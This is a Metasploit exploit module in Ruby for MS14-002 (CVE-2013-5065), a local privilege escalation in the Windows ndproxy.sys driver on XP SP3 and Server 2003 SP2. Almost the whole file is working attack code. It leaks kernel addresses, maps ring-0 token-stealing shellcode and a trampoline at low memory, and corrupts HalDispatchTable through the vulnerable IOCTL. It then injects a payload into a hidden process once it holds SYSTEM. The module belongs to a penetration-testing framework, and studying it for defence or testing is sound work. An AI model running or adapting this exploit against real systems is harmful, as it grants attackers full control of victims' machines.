metasploit-framework/modules/exploits/windows/local/ms_ndproxy.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
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include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
super(update_info(info, {
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
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'Description' => %q{
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
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processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
to access an array unsafely, and the value is used to perform a call, leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
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module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system.
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},
'License' => MSF_LICENSE,
'Author' =>
[
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'Unknown', # Vulnerability discovery
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'ryujin', # python PoC
'Shahin Ramezany', # C PoC
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
}
],
[ 'Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
]
],
'References' =>
[
[ 'CVE', '2013-5065' ],
[ 'MSB', 'MS14-002' ],
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[ 'OSVDB' , '100368'],
[ 'BID', '63971' ],
[ 'EDB', '30014' ],
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
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],
'DisclosureDate'=> 'Nov 27 2013',
'DefaultTarget' => 0
}))
end
def add_railgun_functions
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
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session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
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handle = r['return']
if handle == invalid_handle_value
return nil
end
return handle
end
def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
return nil
end
def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
ring0_shellcode = restore_ptrs + tokenstealing
return ring0_shellcode
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
unless proc.memory.writable?(address)
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vprint_error("Failed to allocate memory")
return nil
end
vprint_good("#{address} is now writable")
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result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end
return address
end
def create_proc
windir = session.sys.config.getenv('windir')
cmd = "#{windir}\\System32\\notepad.exe"
# run hidden
begin
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
rescue Rex::Post::Meterpreter::RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
return proc.pid
end
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def disclose_addresses(t)
addresses = {}
vprint_status("Getting the Kernel module name...")
kernel_info = find_sys_base(nil)
if kernel_info.nil?
vprint_error("Failed to disclose the Kernel module name")
return nil
end
vprint_good("Kernel module found: #{kernel_info[1]}")
vprint_status("Getting a Kernel handle...")
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
kernel32_handle = kernel32_handle['return']
if kernel32_handle == 0
vprint_error("Failed to get a Kernel handle")
return nil
end
vprint_good("Kernel handle acquired")
vprint_status("Disclosing the HalDispatchTable...")
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
hal_dispatch_table = hal_dispatch_table['return']
if hal_dispatch_table == 0
vprint_error("Failed to disclose the HalDispatchTable")
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[0]
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
vprint_status("Getting the hal.dll Base Address...")
hal_info = find_sys_base("hal.dll")
if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address")
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
return addresses
end
def check
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Detected
end
handle = open_device("\\\\.\\NDProxy")
if handle.nil?
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return Exploit::CheckCode::Safe
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end
session.railgun.kernel32.CloseHandle(handle)
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os = sysinfo["OS"]
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /[2003|.net server].*service pack 2/i
return Exploit::CheckCode::Appears
when /windows xp/i
return Exploit::CheckCode::Detected
when /[2003|.net server]/i
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
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end
def exploit
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
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if os =~ /windows xp.*service pack 3/i
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my_target = targets[1]
print_status("Running against #{my_target.name}")
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
my_target = targets[2]
print_status("Running against #{my_target.name}")
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
my_target = targets[2]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
end
print_status("Checking device...")
handle = open_device("\\\\.\\NDProxy")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
else
print_good("\\\\.\\NDProxy found!")
end
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
else
print_good("Addresses successfully disclosed.")
end
print_status("Storing the kernel stager on memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Storing the trampoline to the kernel stager on memory...")
trampoline = "\x90" * 0x38 # nops
trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push
trampoline << "\xc3" # ret
trampoline_addr = 0x1
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end
print_status("Storing the IO Control buffer on memory...")
buffer = "\x00" * 1024
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
else
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status("Checking privileges after exploitation...")
unless is_system?
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fail_with(Failure::Unknown, "The exploitation wasn't successful")
end
p = payload.encoded
print_good("Exploitation successful! Creating a new process and launching payload...")
new_pid = create_proc
if new_pid.nil?
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
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return
end
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
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if execute_shellcode(p, nil, new_pid)
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print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end
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end
end